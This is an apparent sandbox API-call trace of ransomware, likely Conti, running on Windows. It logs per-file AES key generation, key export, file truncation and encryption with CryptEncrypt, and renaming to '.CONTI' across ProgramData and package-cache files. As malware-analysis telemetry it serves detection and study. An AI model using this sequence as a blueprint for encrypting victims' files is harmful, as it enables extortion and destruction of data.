	[0115.059] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.060] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2cf, lpOverlapped=0x0) returned 1
	[0115.060] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2cf, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2d0) returned 1
	[0115.060] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.060] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x2d0, lpOverlapped=0x0) returned 1
	[0115.060] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.060] WriteFile (in: hFile=0x40c, lpBuffer=0x6b49e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b49e28*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0115.060] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.060] CloseHandle (hObject=0x40c) returned 1
	[0115.527] GetProcessHeap () returned 0x1720000
	[0115.527] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ba738
	[0115.527] lstrcpyW (in: lpString1=0x65ba738, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0115.527] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0115.527] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0117.487] GetProcessHeap () returned 0x1720000
	[0117.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba738 | out: hHeap=0x1720000) returned 1
	[0117.495] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0117.495] GetProcessHeap () returned 0x1720000
	[0117.495] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54318 | out: hHeap=0x1720000) returned 1
	[0117.495] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0117.495] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x65d09c0 | out: phKey=0x65d09c0*=0x6b7f638) returned 1
	[0117.495] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d09c4, pdwDataLen=0x35ffa54 | out: pbData=0x65d09c4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0117.497] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi")) returned 0x20
	[0117.497] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0117.497] GetLastError () returned 0x0
	[0117.497] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=147456) returned 1
	[0117.497] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x24000
	[0117.497] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.497] SetEndOfFile (hFile=0x3d0) returned 1
	[0117.498] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.498] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.498] WriteFile (in: hFile=0x3d0, lpBuffer=0x65d09c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x65d09c4*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.499] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.499] ReadFile (in: hFile=0x3d0, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x24000, lpOverlapped=0x0) returned 1
	[0117.501] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x24000, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x24010) returned 1
	[0117.501] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.501] WriteFile (in: hFile=0x3d0, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x24010, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x24010, lpOverlapped=0x0) returned 1
	[0117.502] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.502] WriteFile (in: hFile=0x3d0, lpBuffer=0x65d09b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x65d09b8*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0117.502] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.502] CloseHandle (hObject=0x3d0) returned 1
	[0117.502] GetProcessHeap () returned 0x1720000
	[0117.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.503] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi"
	[0117.503] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI"
	[0117.503] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.conti")) returned 1
	[0117.504] GetProcessHeap () returned 0x1720000
	[0117.504] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.504] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0117.504] GetProcessHeap () returned 0x1720000
	[0117.504] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ccd8 | out: hHeap=0x1720000) returned 1
	[0117.504] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0117.504] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x65d29b0 | out: phKey=0x65d29b0*=0x6b7f638) returned 1
	[0117.504] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d29b4, pdwDataLen=0x35ffa54 | out: pbData=0x65d29b4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0117.504] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab")) returned 0x20
	[0117.505] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0117.505] GetLastError () returned 0x0
	[0117.505] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=5204382) returned 1
	[0117.505] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4f699e
	[0117.505] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.505] SetEndOfFile (hFile=0x3d0) returned 1
	[0117.505] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.505] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.505] WriteFile (in: hFile=0x3d0, lpBuffer=0x65d29b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x65d29b4*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.508] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.508] ReadFile (in: hFile=0x3d0, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x4f699e, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x4f699e, lpOverlapped=0x0) returned 1
	[0122.855] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x4f699e, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x4f69a0) returned 1
	[0122.861] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.861] WriteFile (in: hFile=0x3d0, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x4f69a0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x4f69a0, lpOverlapped=0x0) returned 1
	[0124.312] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.312] WriteFile (in: hFile=0x3d0, lpBuffer=0x65d29a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x65d29a8*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0125.114] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.114] CloseHandle (hObject=0x3d0) returned 1
	[0125.114] GetProcessHeap () returned 0x1720000
	[0125.114] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0125.115] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab"
	[0125.115] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI"
	[0125.115] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.conti")) returned 1
	[0125.116] GetProcessHeap () returned 0x1720000
	[0125.116] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0125.116] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0125.116] GetProcessHeap () returned 0x1720000
	[0125.116] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdd50 | out: hHeap=0x1720000) returned 1
	[0125.116] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0125.116] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b51ba8 | out: phKey=0x6b51ba8*=0x17c7fb0) returned 1
	[0125.117] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51bac, pdwDataLen=0x35ffa54 | out: pbData=0x6b51bac*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0125.118] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.006.etl")) returned 0x2020
	[0125.118] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0125.119] GetLastError () returned 0x0
	[0125.119] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=4096) returned 1
	[0125.119] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0125.119] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.119] SetEndOfFile (hFile=0x3d0) returned 1
	[0125.119] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.119] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.119] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b51bac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b51bac*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0129.599] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.599] ReadFile (in: hFile=0x3d0, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1000, lpOverlapped=0x0) returned 1
	[0129.600] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1000, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1010) returned 1
	[0129.600] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1010, lpOverlapped=0x0) returned 1
	[0129.600] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b51ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b51ba0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0129.600] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.600] CloseHandle (hObject=0x3d0) returned 1
	[0129.600] GetProcessHeap () returned 0x1720000
	[0129.600] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.600] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl"
	[0129.600] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.CONTI"
	[0129.600] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.006.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.006.etl.conti")) returned 1
	[0129.601] GetProcessHeap () returned 0x1720000
	[0129.601] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.601] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0129.601] GetProcessHeap () returned 0x1720000
	[0129.601] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8d10 | out: hHeap=0x1720000) returned 1
	[0129.601] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.615] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x17c7eb0) returned 1
	[0129.615] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5295c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.617] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24
	[0129.617] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.617] GetLastError () returned 0x5
	[0129.617] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0129.617] GetProcessHeap () returned 0x1720000
	[0129.617] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc850 | out: hHeap=0x1720000) returned 1
	[0129.617] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.623] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x17c83b0) returned 1
	[0129.623] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5295c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
